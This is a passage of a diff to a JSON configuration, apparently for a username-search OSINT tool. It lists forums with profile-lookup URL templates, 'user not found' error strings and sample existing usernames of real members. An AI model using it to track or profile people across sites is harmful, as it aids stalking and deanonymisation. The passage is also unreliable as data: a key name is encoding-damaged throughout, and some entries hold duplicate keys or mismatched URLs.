"errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "comments": "super", + "bad_site": 1 + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_pcreview": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pcreview.co.uk/members/?username={}", + "urlMain": "https://www.pcreview.co.uk", + "usernameON": "floppybootstomp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pedelecs": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pedelecs.co.uk/forum/members/?username={}", + "urlMain": "https://www.pedelecs.co.uk", + "usernameON": "pedalfettal", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": "https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + 